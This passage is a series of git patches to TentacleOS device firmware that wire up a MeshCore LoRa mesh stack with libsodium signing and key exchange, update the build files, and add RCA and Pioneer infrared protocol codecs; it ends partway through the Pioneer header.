From b78278a5891d02935be64f7731cded1f6e31a99a Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 1 Jun 2026 16:23:23 -0300 Subject: [PATCH 001/572] feat(lora/meshcore): wire end-to-end stack with libsodium crypto --- .../LoRa/meshcore/include/meshcore_app.h | 57 ++++ .../{ => include}/meshcore_internal.h | 65 +++++ .../Applications/LoRa/meshcore/meshcore_app.c | 249 ++++++++++++++++++ .../LoRa/meshcore/meshcore_crypto.c | 15 +- .../LoRa/meshcore/meshcore_router.c | 12 +- 5 files changed, 389 insertions(+), 9 deletions(-) create mode 100644 firmware_p4/components/Applications/LoRa/meshcore/include/meshcore_app.h rename firmware_p4/components/Applications/LoRa/meshcore/{ => include}/meshcore_internal.h (64%) create mode 100644 firmware_p4/components/Applications/LoRa/meshcore/meshcore_app.c diff --git a/firmware_p4/components/Applications/LoRa/meshcore/include/meshcore_app.h b/firmware_p4/components/Applications/LoRa/meshcore/include/meshcore_app.h new file mode 100644 index 000000000..92bffd7fa --- /dev/null +++ b/firmware_p4/components/Applications/LoRa/meshcore/include/meshcore_app.h @@ -0,0 +1,57 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +#ifndef MESHCORE_APP_H +#define MESHCORE_APP_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "esp_err.h" + +/** + * @brief Bring up the full MeshCore stack on the P4. + * + * Order of operations: + * 1. libsodium init (provides Ed25519 sign/verify and X25519 ECDH). + * 2. SX1262 HAL + driver init with MeshCore defaults + * (915 MHz, SF10, BW 250 kHz, CR 4/5, +20 dBm). + * 3. SX1262 IRQ task. + * 4. Load or generate Ed25519 identity (32-byte seed persisted in + * NVS under "id_seed"; keypair derived via crypto_sign_seed_keypair). + * 5. meshcore core (DB, router, radio prefs) with router callbacks + * wired to the phoneapi push helpers. + * 6. meshcore phoneapi (Companion protocol). + * 7. meshcore phone bridge (SPI to C5 + BLE NUS termination). + * 8. meshcore RX continuous. + * 9. Spawns the meshcore_poll() task. + * 10. Requests the C5 to start BLE advertising. + * + * Must be called AFTER bridge_manager_init() so the SPI bridge to the + * C5 is ready. + * + * @return + * - ESP_OK on success + * - ESP_FAIL if libsodium init or keypair derivation fails + * - Driver error code if SX1262 init or meshcore init fails + * - ESP_ERR_NO_MEM if the poll task cannot be spawned + */ +esp_err_t meshcore_app_start(void); + +#ifdef __cplusplus +} +#endif + +#endif // MESHCORE_APP_H diff --git a/firmware_p4/components/Applications/LoRa/meshcore/meshcore_internal.h b/firmware_p4/components/Applications/LoRa/meshcore/include/meshcore_internal.h similarity index 64% rename from firmware_p4/components/Applications/LoRa/meshcore/meshcore_internal.h rename to firmware_p4/components/Applications/LoRa/meshcore/include/meshcore_internal.h index 48c53cdfd..808fa3e8b 100644 --- a/firmware_p4/components/Applications/LoRa/meshcore/meshcore_internal.h +++ b/firmware_p4/components/Applications/LoRa/meshcore/include/meshcore_internal.h @@ -84,12 +84,77 @@ uint8_t mc_build_header(uint8_t ver, uint8_t ptype, uint8_t route); uint8_t mc_build_path_len(uint8_t hash_size_sel, uint8_t count); uint8_t mc_parse_hash_size(uint8_t sel); +/** + * @brief Plain SHA-256 of an arbitrary buffer. + */ +void meshcore_crypto_sha256(const uint8_t *data, size_t len, uint8_t out[32]); + +/** + * @brief AES-ECB encrypt + HMAC-SHA256 truncated MAC prefix. + */ +int meshcore_crypto_encrypt_mac(const uint8_t *shared_secret, + uint8_t *dest, + const uint8_t *src, + int src_len); + +/** + * @brief Verify HMAC prefix and AES-ECB decrypt. Returns plaintext length, 0 on fail. + */ +int meshcore_crypto_mac_decrypt(const uint8_t *shared_secret, + uint8_t *dest, + const uint8_t *src, + int src_len); + +/** + * @brief Parse a raw wire packet into a view. Returns false on malformed input. + */ +bool meshcore_packet_parse(const uint8_t *raw, uint16_t raw_len, meshcore_packet_view_t *out); + +/** + * @brief 8-byte content hash used for dedup. + */ +void meshcore_packet_hash(const meshcore_packet_view_t *pkt, uint8_t out[8]); + +/** + * @brief Build a self-advert wire packet (signed). Returns packet length, 0 on error. + */ +uint16_t meshcore_packet_build_advert(const meshcore_identity_t *identity, + int32_t lat_e6, + int32_t lon_e6, + bool has_latlon, + uint32_t unix_ts, + uint8_t *out, + uint16_t out_cap); + +/** + * @brief Build an encrypted group-text wire packet. Returns packet length, 0 on error. + */ +uint16_t meshcore_packet_build_grp_txt(uint8_t channel_hash, + const uint8_t channel_secret[32], + const char *sender_name, + const char *text, + uint32_t unix_ts, + uint8_t *out, + uint16_t out_cap); + /** * @brief sha256(a || b)[:out_len]. Used for ACK CRC. */ void mc_sha256_two( uint8_t *out, size_t out_len, const uint8_t *a, size_t a_len, const uint8_t *b, size_t b_len); +/** + * @brief X25519 ECDH derived from an Ed25519 keypair (libsodium-backed). + * + * Converts both keys to Curve25519 form and performs scalar multiplication. + * Used by router to derive per-peer shared secrets for DM encryption. + * + * @param[out] out_shared 32-byte shared secret. + * @param peer_pub_key Peer's 32-byte Ed25519 public key. + * @param my_sk Local 64-byte Ed25519 secret key (libsodium format). + */ +void mc_x25519(uint8_t out_shared[32], const uint8_t peer_pub_key[32], const uint8_t my_sk[64]); + /* DB internal (meshcore_db.c) */ bool mc_dedup_check_add(const uint8_t hash[8]); void mc_pendings_gc(void); diff --git a/firmware_p4/components/Applications/LoRa/meshcore/meshcore_app.c b/firmware_p4/components/Applications/LoRa/meshcore/meshcore_app.c new file mode 100644 index 000000000..cd79dda64 --- /dev/null +++ b/firmware_p4/components/Applications/LoRa/meshcore/meshcore_app.c @@ -0,0 +1,249 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +#include "meshcore_app.h" + +#include + +#include "esp_log.h" +#include "esp_random.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" + +#include "meshcore.h" +#include "meshcore_nvs.h" +#include "meshcore_phone_bridge.h" +#include "meshcore_phoneapi.h" +#include "sodium.h" +#include "sx1262.h" +#include "sx1262_hal.h" +#include "sx1262_regs.h" + +static const char *TAG = "MC_APP"; + +#define MC_IDENTITY_NVS_KEY "id_seed" +#define MC_IDENTITY_SEED_SIZE 32 +#define MC_DEFAULT_NAME "Highboy" +#define MC_BRIDGE_NAME_PREFIX NULL + +#define MC_POLL_TASK_STACK 12288 +#define MC_POLL_TASK_PRIO 4 +#define MC_POLL_PERIOD_MS 50 + +static void poll_task(void *pv); +static void +on_advert_cb(const meshcore_contact_t *contact, int16_t rssi_dbm, int8_t snr_db, void *ctx); +static void on_grp_txt_cb(uint8_t channel_idx, + uint8_t path_len, + const char *text, + uint32_t timestamp, + int16_t rssi_dbm, + int8_t snr_db, + void *ctx); +static void on_direct_msg_cb(const uint8_t peer_pub_key[32], + const char *text, + uint32_t timestamp, + uint8_t txt_type, + uint8_t path_len, + int16_t rssi_dbm, + int8_t snr_db, + void *ctx); +static void on_ack_cb(uint32_t ack_crc, const uint8_t peer_pub_key[32], void *ctx); +static void on_path_update_cb(const meshcore_contact_t *contact, void *ctx); +static esp_err_t load_or_create_identity(meshcore_identity_t *out); + +esp_err_t meshcore_app_start(void) { + if (sodium_init() < 0) { + ESP_LOGE(TAG, "sodium_init failed"); + return ESP_FAIL; + } + + sx1262_config_t cfg = {0}; + esp_err_t ret = sx1262_hal_create(&cfg.hal); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "sx1262_hal_create failed: %s", esp_err_to_name(ret)); + return ret; + } + + cfg.frequency_hz = MESHCORE_FREQ_HZ; + cfg.sf = MESHCORE_SF; + cfg.bw = SX1262_LORA_BW_250; + cfg.cr = SX1262_LORA_CR_4_5; + cfg.tx_power_dbm = MESHCORE_TX_POWER_DBM; + cfg.preamble_len = MESHCORE_PREAMBLE_LEN; + cfg.is_crc_on = true; + cfg.is_inverted_iq = false; + cfg.is_implicit_hdr = false; + cfg.is_public_network = false; + + ret = sx1262_init(&cfg); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "sx1262_init failed: %s", esp_err_to_name(ret)); + return ret; + } + ret = sx1262_start(); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "sx1262_start failed: %s", esp_err_to_name(ret)); + return ret; + } + ESP_LOGI(TAG, + "SX1262 ready (%lu Hz, SF%u, BW250k, CR4/5, %d dBm)", + (unsigned long)MESHCORE_FREQ_HZ, + MESHCORE_SF, + MESHCORE_TX_POWER_DBM); + + meshcore_identity_t identity; + ret = load_or_create_identity(&identity); + if (ret != ESP_OK) { + return ret; + } + + meshcore_callbacks_t cbs = { + .on_advert = on_advert_cb, + .on_grp_txt = on_grp_txt_cb, + .on_direct_msg = on_direct_msg_cb, + .on_ack = on_ack_cb, + .on_path_update = on_path_update_cb, + .ctx = NULL, + }; + ret = meshcore_init(&identity, &cbs); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "meshcore_init failed: %s", esp_err_to_name(ret)); + return ret; + } + + ret = meshcore_phoneapi_init(); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "meshcore_phoneapi_init failed: %s", esp_err_to_name(ret)); + return ret; + } + + ret = meshcore_phone_bridge_init(MC_BRIDGE_NAME_PREFIX); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "meshcore_phone_bridge_init failed: %s", esp_err_to_name(ret)); + return ret; + } + + ret = meshcore_start(); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "meshcore_start failed: %s", esp_err_to_name(ret)); + return ret; + } + + if (xTaskCreate(poll_task, "mc_poll", MC_POLL_TASK_STACK, NULL, MC_POLL_TASK_PRIO, NULL) != + pdPASS) { + ESP_LOGE(TAG, "Failed to spawn poll task"); + return ESP_ERR_NO_MEM; + } + + ret = meshcore_phone_bridge_ble_start(); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "meshcore_phone_bridge_ble_start failed: %s (will retry)", esp_err_to_name(ret)); + } + + ESP_LOGI(TAG, "MeshCore stack online -- waiting for phone"); + return ESP_OK; +} + +static void poll_task(void *pv) { + (void)pv; + const TickType_t period = pdMS_TO_TICKS(MC_POLL_PERIOD_MS); + while (1) { + meshcore_poll(); + vTaskDelay(period); + } +} + +static void +on_advert_cb(const meshcore_contact_t *contact, int16_t rssi_dbm, int8_t snr_db, void *ctx) { + (void)rssi_dbm; + (void)snr_db; + (void)ctx; + meshcore_phoneapi_push_new_advert(contact); +} + +static void on_grp_txt_cb(uint8_t channel_idx, + uint8_t path_len, + const char *text, + uint32_t timestamp, + int16_t rssi_dbm, + int8_t snr_db, + void *ctx) { + (void)rssi_dbm; + (void)ctx; + meshcore_phoneapi_push_channel_msg(channel_idx, path_len, timestamp, snr_db, text); +} + +static void on_direct_msg_cb(const uint8_t peer_pub_key[32], + const char *text, + uint32_t timestamp, + uint8_t txt_type, + uint8_t path_len, + int16_t rssi_dbm, + int8_t snr_db, + void *ctx) { + (void)rssi_dbm; + (void)ctx; + meshcore_phoneapi_push_contact_msg(peer_pub_key, path_len, txt_type, timestamp, snr_db, text); +} + +static void on_ack_cb(uint32_t ack_crc, const uint8_t peer_pub_key[32], void *ctx) { + (void)peer_pub_key; + (void)ctx; + meshcore_phoneapi_push_send_confirmed(ack_crc, 0); +} + +static void on_path_update_cb(const meshcore_contact_t *contact, void *ctx) { + (void)ctx; + meshcore_phoneapi_push_path_updated(contact); +} + +static esp_err_t load_or_create_identity(meshcore_identity_t *out) { + memset(out, 0, sizeof(*out)); + + uint8_t seed[MC_IDENTITY_SEED_SIZE]; + size_t len = sizeof(seed); + esp_err_t ret = mc_nvs_get_blob(MC_IDENTITY_NVS_KEY, seed, &len); + bool is_loaded = (ret == ESP_OK && len == sizeof(seed)); + + if (!is_loaded) { + esp_fill_random(seed, sizeof(seed)); + ret = mc_nvs_set_blob(MC_IDENTITY_NVS_KEY, seed, sizeof(seed)); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "Persist identity seed failed: %s", esp_err_to_name(ret)); + sodium_memzero(seed, sizeof(seed)); + return ret; + } + } + + if (crypto_sign_seed_keypair(out->pub_key, out->priv_key, seed) != 0) { + ESP_LOGE(TAG, "crypto_sign_seed_keypair failed"); + sodium_memzero(seed, sizeof(seed)); + return ESP_FAIL; + } + sodium_memzero(seed, sizeof(seed)); + + ESP_LOGI(TAG, + "Identity %s (pub %02X%02X%02X%02X..)", + is_loaded ? "loaded from NVS" : "generated", + out->pub_key[0], + out->pub_key[1], + out->pub_key[2], + out->pub_key[3]); + + strncpy(out->name, MC_DEFAULT_NAME, MESHCORE_NAME_MAX - 1); + out->name[MESHCORE_NAME_MAX - 1] = 0; + out->adv_type = MC_ADV_TYPE_CHAT; + return ESP_OK; +} diff --git a/firmware_p4/components/Applications/LoRa/meshcore/meshcore_crypto.c b/firmware_p4/components/Applications/LoRa/meshcore/meshcore_crypto.c index fa8deb2fe..c815a6c79 100644 --- a/firmware_p4/components/Applications/LoRa/meshcore/meshcore_crypto.c +++ b/firmware_p4/components/Applications/LoRa/meshcore/meshcore_crypto.c @@ -22,8 +22,7 @@ #include "mbedtls/aes.h" #include "mbedtls/md.h" #include "mbedtls/sha256.h" - -#include "ed25519.h" +#include "sodium.h" static int aes_ecb_encrypt_pad(const uint8_t key[16], uint8_t *dest, const uint8_t *src, int src_len); @@ -181,7 +180,7 @@ uint16_t meshcore_packet_build_advert(const meshcore_identity_t *identity, memcpy(&sign_buf[32], &out[2 + 32], 4); memcpy(&sign_buf[36], app_data, app_len); - ed25519_sign(&out[sig_pos], sign_buf, sign_len, identity->pub_key, identity->priv_key); + crypto_sign_detached(&out[sig_pos], NULL, sign_buf, sign_len, identity->priv_key); return pos; } @@ -253,6 +252,16 @@ uint8_t mc_parse_hash_size(uint8_t sel) { } } +void mc_x25519(uint8_t out_shared[32], const uint8_t peer_pub_key[32], const uint8_t my_sk[64]) { + uint8_t curve_sk[crypto_scalarmult_SCALARBYTES]; + uint8_t curve_pk[crypto_scalarmult_BYTES]; + crypto_sign_ed25519_sk_to_curve25519(curve_sk, my_sk); + crypto_sign_ed25519_pk_to_curve25519(curve_pk, peer_pub_key); + crypto_scalarmult(out_shared, curve_sk, curve_pk); + sodium_memzero(curve_sk, sizeof(curve_sk)); + sodium_memzero(curve_pk, sizeof(curve_pk)); +} + void mc_sha256_two( uint8_t *out, size_t out_len, const uint8_t *a, size_t a_len, const uint8_t *b, size_t b_len) { uint8_t full[32]; diff --git a/firmware_p4/components/Applications/LoRa/meshcore/meshcore_router.c b/firmware_p4/components/Applications/LoRa/meshcore/meshcore_router.c index 8f508aed7..bbb874a40 100644 --- a/firmware_p4/components/Applications/LoRa/meshcore/meshcore_router.c +++ b/firmware_p4/components/Applications/LoRa/meshcore/meshcore_router.c @@ -24,7 +24,7 @@ #include "freertos/FreeRTOS.h" #include "freertos/task.h" -#include "ed25519.h" +#include "sodium.h" #include "sx1262.h" #include "sx1262_regs.h" @@ -133,7 +133,7 @@ esp_err_t meshcore_send_direct_msg(const uint8_t peer_pub_key[32], *out_expected_ack = ack_crc; uint8_t shared[32]; - ed25519_key_exchange(shared, peer_pub_key, id->priv_key); + mc_x25519(shared, peer_pub_key, id->priv_key); const meshcore_contact_t *c = meshcore_contact_find(peer_pub_key); bool has_path = (c != NULL && c->out_path_len != MESHCORE_OUT_PATH_UNKNOWN); @@ -274,7 +274,7 @@ esp_err_t mc_send_path_return(const uint8_t peer_pub_key[32], const meshcore_identity_t *id = mc_get_identity(); uint8_t shared[32]; - ed25519_key_exchange(shared, peer_pub_key, id->priv_key); + mc_x25519(shared, peer_pub_key, id->priv_key); uint8_t plaintext[2 + MESHCORE_MAX_PATH + 1 + 16]; int pt_len = 0; @@ -333,7 +333,7 @@ static void process_advert(const meshcore_packet_view_t *pkt) { memcpy(&sign_buf[0], pubkey, 32); memcpy(&sign_buf[32], &p[32], 4); memcpy(&sign_buf[36], app_data, sig_app_len); - if (!ed25519_verify(sig, sign_buf, 36 + sig_app_len, pubkey)) { + if (crypto_sign_verify_detached(sig, sign_buf, 36 + sig_app_len, pubkey) != 0) { ESP_LOGW(TAG, "ADVERT invalid sig (%02X%02X%02X%02X) -- discard", pubkey[0], @@ -466,7 +466,7 @@ static void process_txt_msg(const meshcore_packet_view_t *pkt) { continue; uint8_t shared[32]; - ed25519_key_exchange(shared, contacts[i].pub_key, id->priv_key); + mc_x25519(shared, contacts[i].pub_key, id->priv_key); uint8_t plaintext[160]; int pt_len = @@ -592,7 +592,7 @@ static void process_path_payload(const meshcore_packet_view_t *pkt) { continue; uint8_t shared[32]; - ed25519_key_exchange(shared, contacts[i].pub_key, id->priv_key); + mc_x25519(shared, contacts[i].pub_key, id->priv_key); uint8_t plaintext[200]; int pt_len = From d793efd3f5de015491b692a50683cc1f7fa370f7 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 1 Jun 2026 16:27:31 -0300 Subject: [PATCH 002/572] build(lora/meshtastic): include sources and headers to p4 --- firmware_p4/components/Applications/CMakeLists.txt | 3 +++ 1 file changed, 3 insertions(+) diff --git a/firmware_p4/components/Applications/CMakeLists.txt b/firmware_p4/components/Applications/CMakeLists.txt index 9f291e8eb..6643b2d6f 100644 --- a/firmware_p4/components/Applications/CMakeLists.txt +++ b/firmware_p4/components/Applications/CMakeLists.txt @@ -70,6 +70,7 @@ file(GLOB_RECURSE WIFI_APP_SRCS "wifi/*.c") file(GLOB_RECURSE NFC_APP_SRCS "nfc/*.c") file(GLOB_RECURSE RFID_APP_SRCS "rfid/*.c") file(GLOB_RECURSE RNODE_APP_SRCS "LoRa/rnode/*.c") +file(GLOB MESHTASTIC_APP_SRCS "LoRa/meshtastic/*.c") idf_component_register(SRCS ${UI_SRCS} @@ -77,6 +78,7 @@ idf_component_register(SRCS ${NFC_APP_SRCS} ${RFID_APP_SRCS} ${RNODE_APP_SRCS} + ${MESHTASTIC_APP_SRCS} ${BADUSB_APP_SRCS} ${BLE_APP_SRCS} "ui/ui_manager.c" @@ -144,6 +146,7 @@ idf_component_register(SRCS "rfid/include" "rfid/protocols/include" "LoRa/rnode/include" + "LoRa/meshtastic/include" "ui/include" "ui/screens/home/include" "ui/screens/boot/include" From db19d02d5dc36fb69d7c3e100439169d5a606eff Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 1 Jun 2026 16:28:10 -0300 Subject: [PATCH 003/572] build(lora/meshcore): include sources and headers to p4 --- firmware_p4/components/Applications/CMakeLists.txt | 6 ++++++ firmware_p4/main/idf_component.yml | 1 + 2 files changed, 7 insertions(+) diff --git a/firmware_p4/components/Applications/CMakeLists.txt b/firmware_p4/components/Applications/CMakeLists.txt index 6643b2d6f..dddada82a 100644 --- a/firmware_p4/components/Applications/CMakeLists.txt +++ b/firmware_p4/components/Applications/CMakeLists.txt @@ -70,6 +70,7 @@ file(GLOB_RECURSE WIFI_APP_SRCS "wifi/*.c") file(GLOB_RECURSE NFC_APP_SRCS "nfc/*.c") file(GLOB_RECURSE RFID_APP_SRCS "rfid/*.c") file(GLOB_RECURSE RNODE_APP_SRCS "LoRa/rnode/*.c") +file(GLOB MESHCORE_APP_SRCS "LoRa/meshcore/*.c") file(GLOB MESHTASTIC_APP_SRCS "LoRa/meshtastic/*.c") idf_component_register(SRCS @@ -78,6 +79,7 @@ idf_component_register(SRCS ${NFC_APP_SRCS} ${RFID_APP_SRCS} ${RNODE_APP_SRCS} + ${MESHCORE_APP_SRCS} ${MESHTASTIC_APP_SRCS} ${BADUSB_APP_SRCS} ${BLE_APP_SRCS} @@ -146,6 +148,7 @@ idf_component_register(SRCS "rfid/include" "rfid/protocols/include" "LoRa/rnode/include" + "LoRa/meshcore/include" "LoRa/meshtastic/include" "ui/include" "ui/screens/home/include" @@ -181,5 +184,8 @@ idf_component_register(SRCS esp_tinyusb mbedtls bt + libsodium + mqtt ) target_link_libraries(${COMPONENT_LIB} -Wl,-zmuldefs) +target_compile_definitions(${COMPONENT_LIB} PRIVATE MESH_HEADLESS=0) diff --git a/firmware_p4/main/idf_component.yml b/firmware_p4/main/idf_component.yml index 2e2cd731c..39da8eace 100644 --- a/firmware_p4/main/idf_component.yml +++ b/firmware_p4/main/idf_component.yml @@ -6,3 +6,4 @@ dependencies: lvgl/lvgl: ^9.4.0 espressif/cjson: ^1.7.19 espressif/argtable3: ^3.3 + espressif/libsodium: ^1.0.22 From 7dfa9a8f45e64721e3cef10ba0bf15df1c5f59e9 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 1 Jun 2026 21:36:03 -0300 Subject: [PATCH 004/572] feat(ir): new protocol RCA --- .../Service/ir/include/ir_protocol_rca.h | 98 +++++++++++++++++++ .../components/Service/ir/ir_protocol_rca.c | 76 ++++++++++++++ 2 files changed, 174 insertions(+) create mode 100644 firmware_p4/components/Service/ir/include/ir_protocol_rca.h create mode 100644 firmware_p4/components/Service/ir/ir_protocol_rca.c diff --git a/firmware_p4/components/Service/ir/include/ir_protocol_rca.h b/firmware_p4/components/Service/ir/include/ir_protocol_rca.h new file mode 100644 index 000000000..3c3fb070c --- /dev/null +++ b/firmware_p4/components/Service/ir/include/ir_protocol_rca.h @@ -0,0 +1,98 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef IR_PROTOCOL_RCA_H +#define IR_PROTOCOL_RCA_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "ir_protocol.h" + +/** @brief RCA preamble mark duration in microseconds. */ +#define RCA_HEADER_MARK 4000 + +/** @brief RCA preamble space duration in microseconds. */ +#define RCA_HEADER_SPACE 4000 + +/** @brief RCA bit mark duration in microseconds. */ +#define RCA_BIT_MARK 500 + +/** @brief RCA one-bit space duration in microseconds. */ +#define RCA_ONE_SPACE 2000 + +/** @brief RCA zero-bit space duration in microseconds. */ +#define RCA_ZERO_SPACE 1000 + +/** @brief Number of data bits in an RCA frame (4 addr + 8 cmd + 4 ~addr + 8 ~cmd). */ +#define RCA_FRAME_BITS 24 + +/** @brief Minimum number of RMT symbols for a valid RCA frame (header + 24 bits). */ +#define RCA_MIN_SYMBOLS 25 + +/** @brief Bit position of the 4-bit address field in the MSB-first RCA frame word. */ +#define RCA_ADDR_SHIFT 20 + +/** @brief Bit position of the 8-bit command field in the MSB-first RCA frame word. */ +#define RCA_CMD_SHIFT 12 + +/** @brief Bit position of the 4-bit inverted address field in the RCA frame word. */ +#define RCA_ADDR_INV_SHIFT 8 + +/** @brief Bit mask for the 4-bit address field. */ +#define RCA_ADDR_MASK 0x0F + +/** @brief Bit mask for the 8-bit command field. */ +#define RCA_CMD_MASK 0xFF + +/** @brief XOR result expected when the 4-bit address and its complement are combined. */ +#define RCA_ADDR_INTEGRITY_MASK 0x0F + +/** @brief XOR result expected when the 8-bit command and its complement are combined. */ +#define RCA_CMD_INTEGRITY_MASK 0xFF + +/** + * @brief Decode an RCA IR frame from RMT symbols. + * + * Validates the preamble and the inverted address/command integrity fields. + * + * @param[in] symbols RMT symbol buffer. Must not be NULL. + * @param[in] count Number of symbols. Must be greater than 0. + * @param[out] out_data Destination for decoded data. Must not be NULL. + * + * @return true if a valid RCA frame was decoded, false otherwise. + */ +bool ir_protocol_rca_decode(const rmt_symbol_word_t *symbols, size_t count, ir_data_t *out_data); + +/** + * @brief Encode an RCA IR command into RMT symbols. + * + * Packs the 4-bit address and 8-bit command MSB-first and appends their + * complements for integrity. + * + * @param[in] data IR command to encode. Must not be NULL. + * @param[out] symbols Destination buffer. Must not be NULL. + * @param[in] max Capacity of @p symbols in symbols. + * + * @return Number of symbols written, or 0 on failure. + */ +size_t ir_protocol_rca_encode(const ir_data_t *data, rmt_symbol_word_t *symbols, size_t max); + +#ifdef __cplusplus +} +#endif + +#endif // IR_PROTOCOL_RCA_H diff --git a/firmware_p4/components/Service/ir/ir_protocol_rca.c b/firmware_p4/components/Service/ir/ir_protocol_rca.c new file mode 100644 index 000000000..53e729db7 --- /dev/null +++ b/firmware_p4/components/Service/ir/ir_protocol_rca.c @@ -0,0 +1,76 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "ir_protocol_rca.h" + +#include "ir_protocol.h" + +bool ir_protocol_rca_decode(const rmt_symbol_word_t *symbols, size_t count, ir_data_t *out_data) { + if (symbols == NULL || count == 0 || out_data == NULL) + return false; + + if (count < RCA_MIN_SYMBOLS) + return false; + if (!ir_match(symbols[0].duration0, RCA_HEADER_MARK) || + !ir_match(symbols[0].duration1, RCA_HEADER_SPACE)) + return false; + + ir_pulse_distance_cfg_t cfg = { + .one_space = RCA_ONE_SPACE, + .zero_space = RCA_ZERO_SPACE, + .msb_first = true, + }; + uint32_t raw = (uint32_t)ir_decode_pulse_distance(symbols, 1, RCA_FRAME_BITS, &cfg); + + uint8_t addr = (raw >> RCA_ADDR_SHIFT) & RCA_ADDR_MASK; + uint8_t cmd = (raw >> RCA_CMD_SHIFT) & RCA_CMD_MASK; + uint8_t addr_inv = (raw >> RCA_ADDR_INV_SHIFT) & RCA_ADDR_MASK; + uint8_t cmd_inv = raw & RCA_CMD_MASK; + + if (((addr ^ addr_inv) & RCA_ADDR_MASK) != RCA_ADDR_INTEGRITY_MASK) + return false; + if ((uint8_t)(cmd ^ cmd_inv) != RCA_CMD_INTEGRITY_MASK) + return false; + + out_data->protocol = IR_PROTO_RCA; + out_data->address = addr; + out_data->command = cmd; + out_data->repeat = false; + return true; +} + +size_t ir_protocol_rca_encode(const ir_data_t *data, rmt_symbol_word_t *symbols, size_t max) { + if (data == NULL || symbols == NULL || max == 0) + return 0; + + uint8_t addr = data->address & RCA_ADDR_MASK; + uint8_t cmd = data->command & RCA_CMD_MASK; + + uint32_t raw = ((uint32_t)addr << RCA_ADDR_SHIFT) | ((uint32_t)cmd << RCA_CMD_SHIFT) | + ((uint32_t)(~addr & RCA_ADDR_MASK) << RCA_ADDR_INV_SHIFT) | + ((uint32_t)(~cmd & RCA_CMD_MASK)); + + ir_encode_distance_cfg_t cfg = { + .header_mark = RCA_HEADER_MARK, + .header_space = RCA_HEADER_SPACE, + .bit_mark = RCA_BIT_MARK, + .one_space = RCA_ONE_SPACE, + .zero_space = RCA_ZERO_SPACE, + .max = max, + .msb_first = true, + .stop_bit = true, + }; + return ir_encode_pulse_distance(symbols, raw, RCA_FRAME_BITS, &cfg); +} From dba60c0ee5ef6ca435cff591991fffb3a930f872 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 1 Jun 2026 21:36:20 -0300 Subject: [PATCH 005/572] feat(ir): new protocol Pioneer --- .../Service/ir/include/ir_protocol_pioneer.h | 100 ++++++++++++++++++ .../Service/ir/ir_protocol_pioneer.c | 83 +++++++++++++++ 2 files changed, 183 insertions(+) create mode 100644 firmware_p4/components/Service/ir/include/ir_protocol_pioneer.h create mode 100644 firmware_p4/components/Service/ir/ir_protocol_pioneer.c diff --git a/firmware_p4/components/Service/ir/include/ir_protocol_pioneer.h b/firmware_p4/components/Service/ir/include/ir_protocol_pioneer.h new file mode 100644 index 000000000..360f7adc0 --- /dev/null +++ b/firmware_p4/components/Service/ir/include/ir_protocol_pioneer.h @@ -0,0 +1,100 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef IR_PROTOCOL_PIONEER_H +#define IR_PROTOCOL_PIONEER_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "ir_protocol.h" + +/** @brief Pioneer header mark duration in microseconds. */ +#define PIONEER_HEADER_MARK 8500 + +/** @brief Pioneer header space duration in microseconds. */ +#define PIONEER_HEADER_SPACE 4225 + +/** @brief Pioneer bit mark duration in microseconds. */ +#define PIONEER_BIT_MARK 500 + +/** @brief 